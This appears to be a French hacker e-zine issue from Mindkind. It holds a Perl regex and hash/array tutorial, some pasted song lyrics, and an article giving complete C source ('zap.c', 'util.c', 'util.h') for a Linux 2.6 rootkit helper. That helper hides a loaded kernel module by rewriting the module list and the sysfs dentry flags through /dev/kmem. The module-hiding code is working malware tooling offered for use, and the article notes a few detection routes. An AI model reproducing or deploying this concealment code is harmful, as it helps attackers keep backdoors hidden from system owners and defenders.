Simple et pas trop chiant.. il est  a noter que les // sont les  dlminateurs
par dfaut, et que on peut les remplacer avec qr// (exemple : $a -~ qr"meuh").
Bon alors jusque la, c'est simple, rapide, terriblement efficace (lalala) mais
vu que j'ai pas envie que a le reste longtemps  (sinon on va s'endormir),  on
va maintenant  introduire un  concept plus  avancer qui  va nous  aider a bien
comprendre le  "pourquoi la  mme chose  fait pas  la mme  affaire". Avec les
regex en perl, on peut grouper de 2 manires les caractres dans notre  search
pattern.  La  search  pattern  elle  mme est  entre  //  par  dfaut,  et les
groupements sont ()  pour regrouper des  caractre dans un  block, et []  pour
regrouper le tout de faon  crer un range. o_O me direz vous, on va y  aller
avec des exemples, histoire de comprendre a :
$a =~ /[A-Z][a-z]/;
Cte ligne la va checker si un char entre  A et Z suivi d'un char entre a et  z
(case sensitive hein!) match dans notre $a.. On peut aussi donner une srie de
char a matcher, genre si on veut trouver un a ou un d ou un e :
$a =~ /[ade]/;
Et bien sur on peut  y aller avec [0-9]. Si  on veut trouver le contraire  (ce
qui n'est pas) on peut faire [^0-9] ce qui va nous sortir true si on match des
pas de 0  9.

Bon la  prenez un  peu de  temps a  rflchir a  la chose  suivante : la regex
retourne un true lorsqu'elle  trouve ce que on  lui demande. C'est un  concept
important a comprendre, car  c'est comme a qu'on  va pouvoir faire des  tests
dans des chanes  avancs, faire des  find and replace  puissant et ultimement
arriver a comprendre les chanes elles mme (le vrai parsing!).

Bon si on continue  dans nos groupements, les  () servent a faire  un ensemble
qui est "catch" (attrap).. pour l'instant a donne rien d'intressent :
$a =~ /(meuh)/;
et si jamais on trouve "meuh" dans  $a, et bien une variable magique nomm  $1
va tre crer a la prochaine ligne,  et elle va contenir ce qui est  entre (),
donc "meuh". Pas trs utile pour l'instant, mais c'est la base du parsing.

Bon maintenant qu'on a  vu les diffrentes parenthses,  on va voir ce  que je
voulais dire  par "2  fois la  mme chose".  En regex  ya plusieurs caractres
spciaux, en faite y'en a une tonne, tellement que certains change en fonction
des parenthses.. par exemple le ^ de tantt, qui entre [] donne une ngation,
si on la mets entre // (donc par dfaut), a va tenter de matcher au dbut  de
la string uniquement. Donc,
$a =~ /^meuh/;
va retourner un true seulement si meuh est au dbut de la ligne. si $a = "blah
meuh", a va  tre false. Un  autre exemple du  genre le point  (.). Il sert a
matcher  n'importe kel  caractre entre  // mais  entre []  il va  matcher le
caractre . lui-mme. Donc,
$a =~ /./; # true si ya au moins un caractre dans $a
$a =~ /[.]/; # true si ya au moins un . dans $a
$a =~ /\./; # true si ya au moins un . dans $a
Et oui, le \ sert a "backslasher"..  hehe Donc ds que vous voulez matcher  un
caractre  spciaux en  regex, vous  avez qu'a  mettre \  devant, et  Perl va
s'occuper de matcher le vrai caractre..
$a =~ /\[/; # match un [
A part a il y a  le | qui est intressent. Il  permet de faire un OU dans  le
match, donc au lieu de faire :
$a =~ /meuh/ or $a =~ /pwet/;
on peut faire facilement :
$a =~ /meuh|pwet/; # match meuh ou pwet
Ensuite de ta, il y a le $, qui sert a matcher a la fin de la string (comme ^
mais  la fin).. Donc,
$a =~ /meuh$/; # match seulement si meuh est a la fin de la string $a
Evidemment on peut aussi matcher  autre chose que des caractres  normaux, par
exemple on peut matcher  un retour de ligne  \n un form feed  \f un tab \t  ou
n'importe kel espacement \s. Donc
$a =~ /\s/; # match si ya un espace (un " " ou un "TAB" dedans)

Tout a est bien  plaisant, mais maintenant si  vous voulez commencer a  faire
des matchs plus  complets, il vaut  faudra matcher autre  chose que juste  des
"mots dfinies" tel que  pwet ou meuh. Pour  ce faire on utilise  2 choses, la
premire les caractres spciaux \w  et \d, qui remplace respectivement  [A-Za
-z_] et [0-9]. Donc \w  match une lettre ou un  underscore.. et si on en  veut
plusieurs il faut utiliser des quantifieurs.

Les quantifieurs sont les suivants :
? pour 0 ou une fois
+ pour 1 ou plusieurs fois
* pour 0 ou plusieurs fois
{1,5} pour de 1 fois  5 fois

On peut donc les appliquer sur ce qu'on veut dans les caractres pour matcher :
$a =~ /a+/; # match 1 ou plusieurs a
$a =~ /.{2,4}/; # match 2, 3 et 4 caractres
$a =~ /\d?/; # match 0 ou 1 chiffre
$a =~ /\w*/; # match rien pentoute ou plusieurs [A-Za-z_] (useless un peu..)

Faite attention cependant quand vous mettez entre () des affaires, par exemple
(\w)+ va juste mettre dans $1 une seule lettre
(\w+) va mettre le mot au complet (plusieurs lettres) dans $1

Parlant de $1 et compagnie, assayer de figurer le cot pratique de la chose.
Si vous avez
$a =~ /blah(\d+)/;
Vous allez vous ramasser a la ligne suivante avec un chiffre dans $1. Si vous
tes pas sur si c'est $1 ou $2 la derniere variable matcher, par exemple
$a =~ /"(\w+)"|'(\w+)'/
utiliser $+, qui va vous retourner le dernier match.

Maintenant que vous tes parti en peur avec les $1, vous avez surement envie
d'utilis le $1 dans le mme match, du genre :
$a =~ /blah(\d+).*meuh($1)/ # ERREUR!
Malheureusement perl va checker  le $1 d'avant car  ya pas fini d'excuter  la
regex. Donc, pour faire  ce que vous voulez  (matcher 2 fois les  memes digits
\d+) il vous faut :
$a =~ /blah(\d+).*meuh(\1)/ # fun fun

Une utilit  pratique des  regex se  retrouve dans  le "find  and replace". Il
arrive souvent qu'on veulent diter  le contenue d'une variable live  (exemple
quand on trim les inputs/outputs vers des sites web pour empcher le XSS).  En
perl on peut simplement faire la substitution de la manire suivante :
$a =~ s/pwet/meuh/;
Ainsi tout ce qui match pwet dans $a va tre changer par meuh. Si jamais il  y
a plusieurs pwet dans $a et on veut tout les changer, on doit utiliser /g :
$a =~ s/pwet/meuh/g;
qui va prendre tout les pwet et les changer en meuh.
N'oublier pas que toute ce qui est matcher va tre remplacer, donc si on fait
$a =~ s/\d/_/g;
a va remplacer tout les digits [0-9] par _ dans $a.

Perl offre un moyen simple pour faire du find and replace dans un fichier :
perl -p -i -e 's/pwet/meuh/g' fichier.txt
va faire la  job dans le  fichier.txt. Un peu  plus pratique que  sed car vous
avez pas  a vous  faire chier  avec le  output et  le mettre  dans un  fichier
temporaire. Le -p sert a parcourir tout le fichier, le -i sert a remplacer  la
ligne dans le fichier, et le -e  pour excuter directement ce qu'il y a  entre
''.

Parlant de fichier, perl offre aussi une manire de modifier une variable  qui
contient  plusieurs  lignes, et  la  traiter ligne  par  ligne (un  peu  comme
l'exemple prcdent). Pour ce faire  vous devez utiliser /m qui  s'occupera de
traiter la variable comme une variable  a multiple lignes, donc de refaire  la
regex sur chaque ligne au lieu que sur le tout. Ce que a donne? Eh bien on va
"slurper" (prendre le contenu intgral) un file dans une variable pour voir:
  undef $/; # enable le "slurp"
  $slurped = <>; # on slurp!
En suite on peut s'amuser a faire des matchs sur $slurped:
  $slurped =~ s/^$//mg; # efface les lignes vides
  $slurped =~ s/^\s*$//mg; # efface les lignes vides avec des espaces
  $slurped =~ s/^$//mgx; # efface les lignes vides avec des espaces
( le /x sert a ignorer les espaces.)
Si on aurait omit le /mg dans la premiere ligne, on aurait assayer de  matcher
la totalit de $slurped avec la regex (donc on aurait vrifier si $slupred est
vide).

Les regex  tant vaste,  et ceci  tant seulement  un tutorial,  je vais  vous
envoyez  quelque  bidules  en  vrak  intressent,  mais  dites  vous  que   en
rflchissant un peu, vous pouvez arriver a faire tout ce que vous voulez avec
ces merveilleuses regex...

$myregex = qr/aaa/i; # permet davoir une regex dans une variable
$pwet =~ $myregex; # dont peut tre utiliser comme a

$ayoye =~ /(.+)*/; # ligne carrment stupide car va assayer de matcher
                   # n'importe quoi. utilite? benchmark de cpu ;-)

Un concept intressent, le lookahead (?=) et lookbehind (?<=)
$a =~ s/(?<=meuh)(?=pwet)/_/g; # va remplacer meuhpwet par meuh_pwet
$a =~ s/(?<=)pwet/_pwet/g; # meme chose
$a =~ s/meuh(?=pwet)/meuh_/g; # meme chose
$a =~ s/?<=\bmeuh)(?=pwet\b)/_/g; # encore plus puissant car va remplacer
"a meuhpwet unf" par "a meuh_pwet unf" et "ameuhpwetunf" va pas matcher.
Le \b sert  a dire que  c'est le "boundarie"  du mot. Donc  que a va jusqu'au
espaces. A ne pas confondre avec \b... haha n'oublier pas que certaines choses
peuvent changer s'il ne sont  pas entre (). \b sans  les () sert a matcher  le
caractre backspace.


Perl Functions

> >> Quoi faire avec un hash le samedi soir
> Afficher les clefs d'un hash
  print keys %pwet;
> Qui sert  afficher le contenue du hash
  foreach (keys %pwet) {
    print "\$pwet{$_} = $pwet{$_}\n";
  }
> Si je veux rien savoir des clefs, mais je veux que la liste des valeurs
  print values %pwet;
> Si je veux les clefs et les valeurs sans trop d'efforts
  while ( ($clef, $valeur) = each %pwet ) {
    print "\$pwet{$clef}{$valeur}\n";
  }
> Remarquer dans le dernier exemple que on utilise un while et non un foreach.
  La fonction each itre   travers  le hash, au lieu  de carrment  retourner
  une liste. L'avantage de ta c'est si le hash est vraiment big, on aura  pas
  une grosse copie de mmoire  pour rien. De plus, si  le hash est  tie    un
  gros   file  en  netbios   via   tokering sur   un   serveur  286,  utiliser
  keys/values va etre slow car il va toute slurper le hash d'une shoot, tandis
  que each va y aller clef/valeur par clef/valeur et donc le processing va  se
  faire pendant que a lit au lieu d'aprs.
> Si on veut scrapper une entry dans un hash a partir de sa clef
    if (exists $pwet{meuh}) {
      delete $pwet{meuh};
    }
  Si jamais vous faite
    $pwet{meuh} = "";
  vous n'allez pas scrapper la  clef, mais simplement effacer la  valeur. Mme
  chose si vous faite  undef $pwet{meuh} a va  mettre la valeur sous  la clef
  meuh a undef et non l'effacer. D'o l'utilit du delete. En passant, si vous
  travailler avec des rfrences, faites trs attention car
    if (exists $pwet->{a}->{b}) {;}
  va "autovivifier" le hash. Donc perl  va crer lui meme les rfrence  quand
  vous allez  faire le  exists. Comme  quoi des  fois les  features deviennent
  facilement des bugs.
  
  
> >> Quoi faire avec un array aprs le hash du samedi soir
> On a dj vu dans les tuto prcdents les fonction push/pop/shift/etc.
  De plus, les fonctions exist et delete fonctionne aussi avec les array.
    foreach (0..$#pwet) {
      delete $$pwet[$_];
    }
  mme chose que
    delete @pwet[0..$#pwet];
  mme chose que
    @pwet = ();
  et mme chose que
    undef @pwet;
  Si vous voulez  effacer TOUT le  contenu d'un array,  c'est mieux d'y  aller
  avec un = () ou un undef,  mais par contre les autres on leur  utilit quand
  vous  voulez delete  une partie.  En passant  si vous  faite un  delete  sur
  $pwet[2], le $pwet[2] va pu exister dans un foreach @pwet, mais si  l'espace
  pour la valeur [2] va tre libre, donc un push va mettre a dans [3].
> splice permet de faire des choses cool, car vous prennez un array,  aller  
  un offset,  prendre une  longueur  et  vous remplacer  a  par  ce que  vous
  voulez, voici des quivalences :
  pop(@a) <=> splice(@a, -1)
  shift(@a) <=> splice(@a, 0, 1)
  $a[$x] = $y <=> splice(@a, $x, 1, $y)

> >> La magie du undef (c'est pas une fonction mais a peut en tre une.. hum)
> undef est spcial en perl. Il ne s'agit pas de "" (string vide) ni de 0
 (valeur numrique 0), il s'agit de rien pentoute. Et ce rien pentoute ne peut
 pas tre utiliser dans un if. Vous devez donc faire :
    if (defined $var) {;}
  pour voir si la variable en question est a undef. En plus, undef agit  comme
  un oprateur et permet de scrapper la variable
    undef $var;
  Et comme si c'tait pas ass, on peut se servir de undef comme valeur
    $var = undef;
  On  peut  donc  arriver  a  faire des  choses  folles  tel  que  skipper une
  assignation (maintenant undef rempalce une variable!)
    my ($a, $b, undef, $c) = @pwet; # $pwet[2] va tre perdu dans malle
  et tant qu'a faire, on peut faire une chose totalement inutile!
    undef = $pwet; # fait rien pentoute ;-)
    
> >> un foreach sans foreach qui retourne une liste de $_
> Reprennez votre souffle, je voulais juste dire "map" au lieu de se titre la.
  mais bon mon titre est plus  explicatif que map, malgres que le  concept est
  fun :
    foreach (@meuh) {
      print;
    }
  va donner  la meme  chose que  les lignes  suivantes (qui  donnent eux-mmes
  toute  la  meme  chose!).  En  passant,  n'oublier  pas  que  $_  existe par
  "dfaut"..
    map { print } @meuh;
    map { print $_ } @meuh;
    map print, @meuh;
> map retourne aussi une valeur : la liste des $_ changer, donc peut faire  un
  genre de replace ou de processing avec un array :
    @pwet = map { lc } @meuh; # les valeurs de @meuh dans @pwet en lowercase!

> >> un foreach sans foreach qui retourne une liste slective de $_
> Aussi appell
    @pwet = map { EXPR ? $_ : () } @meuh;
  Mais appell par ses amis comme tant le "grep" de perl..
    @pwet = grep { EXPR } @meuh; # mme chose que le map de lautre ligne
  L'EXPR se trouve  tre un match avec $_, on peut donc y mettre une regex
    @subdir = grep !/\.|\.\./, @DIRLIST; # enleve les dirs . et .. de
                                         # DIRLIST et fout a dans @subdir
  Donc on peut arriver a faire a :
    @adultes = grep { $bleh{$_}{age} >= 18 } keys %bleh;
  cool. heh.



Bon voila, on vient de voir quelques affaires puissant en perl. Dites vous que
rendu a ce tuto  la, le reste ce  qu'il reste a voir  en perl, c'est soit  des
modules ou des extensions par dfaut  de Perl, mais la la base,  nous  l'avons
presque tout  couvert (sans  bien sur  avoir couvert  les subtilits, qui sont
trs subtiles d'ailleurs) ce que Perl peut offrir. Mais bon, avec les zillions
de  modules disponible  sur CPAN,  et les  tonnes de  modules par  dfaut,  le
plaisir de  continuer  a  apprendre  avec  Perl  peut  se  poursuivre  jusqu'
l'infini..  l'infini..  l'infini...

Note :  Cet article  remporte le  record guiness (vous savez la bire la)   de
l'article  le plus long a produire de l'histoire. Il a t crit sur papier en
dcembre 2003,  et (vu  que le  #4 de  mes  articles  de perl tait  dj ass
long) garder  en archive, pour  tre crit  au 1/4  quelques  semaines  aprs.
Cependant  le dernier  jet  a t donner en  aot 2004, soit 8  mois aprs son
criture. Beat this.



                                                                   - LastCall_


.----------------------------------------------- - - --- - ---
| LastCall_   [lastcall at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -




Harvey Danger---Flagpole Sitta
euquivo


I had visions, I was in them 
I was looking into the mirror 
To see a little bit clearer 
Rottenness and evil in me i 
Fingertips have memories 
Mine can't forget the curves of your body 
And when I feel a bit naughty 
I run it up the flagpole and see who salutes 
(but no one ever does) 
I'm not sick but (I'm not well 
And I'm so hot cause I'm in hell 
Been around the world and found 
That only stupid people are breeding 
The cretins cloning and feeding 
And I don't even own a TV 
Put me in the hospital for nerves 
And then they had to commit me 
You told them all I was crazy 
They cut off my legs now I'm an amputee, god damn you 
I'm not sick but I'm not well 
And I'm so hot cause i'm in hell 
I'm not sick but I'm not well 
And it's a sin to live so well 
I wanna publish zines 
And rage against machines 
I wanna pierce my tongue 
It doesn't hurt, it feels fine 
The trivial sublime 
I'd like to turn off time 
And kill my mind 
You kill my mind 
Paranoia paranoia 
Everybody's coming to get me 
Just say you never met me 
I'm going underground with the moles 
Hear the voices in my head 
I swear to god it sounds like they're snoring 
But if you're bored then you're boring 
The agony and the irony, they're killing me 
I'm not sick but I'm not well 
And I'm so hot cause I'm in hell 
I'm not sick but I'm not well 
And it's a sin to live so well



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__

|           mkd.14  LKM hide en 2.6
:                        aka 'cachez ces modules que je ne saurais voir'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |


Intro

Cet article dmontre un code en C qui permet de cacher des LKM dans Linux  2.6.
Il n'y a pas rellement de code  ce sujet de disponible sur le web pour 2.6  
l'instant  mme.  Pour ceux  qui  voudrait savoir  comment  tout a  fonctionne
exactement, on vous suggre de lire
  Documentation/kobject.txt
  Documentation/filesystems/sysfs.txt
Dans le rpertoire de votre kernel 2.6 favoris.
Pour  ceux qui  ont aucune  batarde d'ide  de quoi  nous parlons  prsentement
(et/ou son rapport avec le hacking), retourner jouer  Counter-Strike ou  aller
lire l'article de agonn (Backdoors  demystified) dans Brainfaktor #1
( http://brainfaktor.org/ ).


Concepts

Le kernel Linux 2.6  garde en mmoire une  liste chaine qui contient  tous les
modules. Il nous  suffit donc de  trouver le commencement  de la liste  dans le
kernel, de suivre la liste, de trouver le module en question et de l'enlever de
la liste en interchangeant les pointeurs  perv et next des modules adjacents  a
celui qu'on veut hider :
  lprev.next = lh.next;
  lnext.prev = lh.prev;
  kwrite(f, &lprev, sizeof(modules), (unsigned long)lh.prev);
  kwrite(f, &lnext, sizeof(modules), (unsigned long)lh.next);


Notre implmentation est en faite un  "hider" qui s'occupe de chercher pour  un
nom de module. Cette technique peut tre aussi utiliser par le module lui  mme
pour se cacher lui mme.

Cette technique n'est pas parfaite, car  en fait on peut trouver facilement  le
module en regardant dans sysfs avec "mount -t sysfs none /sys". sysfs tant  un
file system garder seulement en RAM, nous pouvons donc l'enlever de la liste de
sysfs en enlevant son directory de la structure en mmoire (dcache) :
  kread(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int));
  d_flag |= 0x0010;
  kwrite(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int));

De plus, il y a  toujours moyen d'aller chercher en  RAM pour le nom du  module
dans la structure kobject:
  struct kobject {
    char                  name[KOBJ_NAME_LEN];
    atomic_t              refcount;
    struct list_head      entry;
    struct kobject        * parent;
    struct kset           * kset;
    struct kobj_type      * ktype;
    struct dentry         * dentry;
  };

Si vous voulez vous amusez vous pouvez donc gosser un petit code qui search  en
mmoire pour les kobject et qui regarde les name.


Pratique

videmment essayer pas de rouler ce code la sur du 2.4, a marche pas pentoute.
Si vous voulez du 2.4 aller voir sur le web tel que :
  http://www.freemode.net/archives/000137.html

Avant de compiler, il faudrait aussi que vous ajuster KERNEL_START et KERNEL_END
avec votre System.map :
  startup_32 == KERNEL_START
  _end == KERNEL_END
Si vous prenez ces valeurs la, ca devrait marcher.

Le code est pour  x86, et vidamment vous  devez tre root pour  l'excuter. Si
grsecurity est install et configur pour protger l'criture du /dev/kmem,  le
code ne fonctionnera pas.


Le code

Pour  bien comprendre  on vous  conseil de  lire le  code (qui  est trs  bien
undocummented!). Le zap.c contient  les parties les plus  intressantes, util.c
contient  seulement  les  fonctions  pour jouer  dans  le  kernel.  Les valeurs
KERNEL_START et KERNEL_END sont dans util.h

Pour compiler, utilis simplement "gcc -o zap zap.c util.c".


----------- 8< cut here ---------[ zap.c ]--------- cut here 8< -----------

#include "util.h"


void usage();

int main(int argc, char *argv[])
{
	int f, c;
	unsigned long cpt, mod, kob;
	unsigned int d_flag;
	struct list_head lh, lprev, lnext;
	struct kobject k;

	modName = NULL;
	name = NULL;
	while ((c = getopt (argc, argv, "b:e:m:")) != -1)
	{
		switch(c)
		{
			case 'b':
				break;
			case 'e':
				break;
			case 'm':
				modName = (char *) malloc(strlen(optarg) + 1);
				strncpy(modName, optarg, strlen(optarg));
				break;
			default:
				usage();
				abort();
		}
	}
	
	if (modName == NULL)
	{
		usage();
		abort();
	}	


	f = open("/dev/kmem", O_RDWR);
	cpt = KERNEL_START;
	name = (char *) malloc(strlen(modName) + 1);

	while ((kread(f, &lh, sizeof(modules), cpt)) == sizeof(modules) && cpt < KERNEL_END)
	{
		if (verify(f, cpt, cpt, (unsigned long)lh.next) == 1)
		{
			if ((mod = findMod(f, cpt, (long)lh.next)) > 0)
			{
					kread(f, &kob, sizeof(kob), (unsigned long)(mod + sizeof(modules) + MODULE_NAME_LEN));
					kread(f, &k, sizeof(k), (unsigned long)kob);
					if (k.dentry != NULL)
					{
						kread(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int));
						d_flag |= 0x0010;
						kwrite(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int));
					}
			        	kread(f, &lh, sizeof(modules), mod);
					kread(f, &lprev, sizeof(modules), (unsigned long)lh.prev);
					kread(f, &lnext, sizeof(modules), (unsigned long)lh.next);
					if (lh.prev == lh.next)
					{
						lprev.next = lh.next;
						lprev.prev = lh.next;
						kwrite(f, &lprev, sizeof(modules), (unsigned long)lh.next);
					} else {
						lprev.next = lh.next;
						lnext.prev = lh.prev;
						kwrite(f, &lprev, sizeof(modules), (unsigned long)lh.prev);
						kwrite(f, &lnext, sizeof(modules), (unsigned long)lh.next);
					}	
			}
		}
		cpt++;
	}
	if (name != NULL)
		free(name);
	if (modName != NULL)
		free(modName);

	return 0;
}

void usage()
{
	printf("Usage:zap -m ModuleName\n");
}

----------- 8< cut here ---------[ EOF ]--------- cut here 8< -----------



----------- 8< cut here ---------[ util.c ]--------- cut here 8< -----------

#include "util.h"

int kread(int f, void *p, int size, unsigned long offset)
{
        lseek(f, offset, SEEK_SET);
        return read(f, p, size);
}

int kwrite(int f, void *p, int size, unsigned long offset)
{
        lseek(f, offset, SEEK_SET);
        return write(f, p, size);
}

int verify(int f, unsigned long start, unsigned long cur, unsigned long next)
{
        struct list_head lh;

        if (kread(f, &lh, sizeof(modules), next) != sizeof(modules))
                return -1;
        if ((long)lh.prev == cur)
        {
                if ((long)lh.next == start)
                        return 1;
                else
                        return verify(f, start, next, (long)lh.next);
        }
        else
                return 0;
}

unsigned long findMod(int f, unsigned long start, unsigned long cur)
{
        struct list_head lh;
        if (cur == start)
                return 0;

        if (kread(f, &lh, sizeof(modules), cur) != sizeof(modules))
                return -1;

        kread(f, name, strlen(modName),(long)(cur + sizeof(modules)));
        if (strncmp(name, modName, strlen(modName)) == 0)
                return cur;
        else
                return findMod(f, start, (long)lh.next);
}

----------- 8< cut here ---------[ EOF ]--------- cut here 8< -----------



----------- 8< cut here ---------[ util.h ]--------- cut here 8< --------
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>

struct list_head {
        struct list_head *next, *prev;
};

#define KERNEL_START 0xc0100000
#define KERNEL_END   0xc0424000
#define KOBJ_NAME_LEN   20

#define LIST_HEAD_INIT(name) { &(name), &(name) }

#define LIST_HEAD(name) \
       struct list_head name = LIST_HEAD_INIT(name)

#define MODULE_NAME_LEN (64 - sizeof(unsigned long))

static LIST_HEAD(modules);
char *name;
char *modName;

struct dentry {
        int	padding;
        unsigned int d_flags;
};		

struct kobject {
        char                    * k_name;
        char                    name[KOBJ_NAME_LEN];
	char			padding[24];
	struct dentry           * dentry;
};

enum module_state
{
        MODULE_STATE_LIVE,
        MODULE_STATE_COMING,
        MODULE_STATE_GOING,
};

struct module_kobject
{
        struct kobject kobj;
        unsigned int num_attributes;
};



struct module
{
        enum module_state state;
        struct list_head list;
        char name[MODULE_NAME_LEN];
	struct module_kobject *mkobj;
};

int verify(int, unsigned long, unsigned long, unsigned long);
int kwrite(int, void *, int,unsigned long);
int kread(int, void *, int, unsigned long);
unsigned long findMod(int, unsigned long, unsigned long);


----------- 8< cut here ---------[ EOF ]--------- cut here 8< --------------


The end

On   vous   invite     envoyer   vos   comments/statges  pour  trouver  le
module/solutions additionnelles  mk@mindkind.org.

                                    - The 30 minutes lemurians from Mindkind
                                        that will code for p0rn (thx Zarath)


.----------------------------------------------- - - --- - ---
| Mindkind   [mk at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



bananaphone.







EOF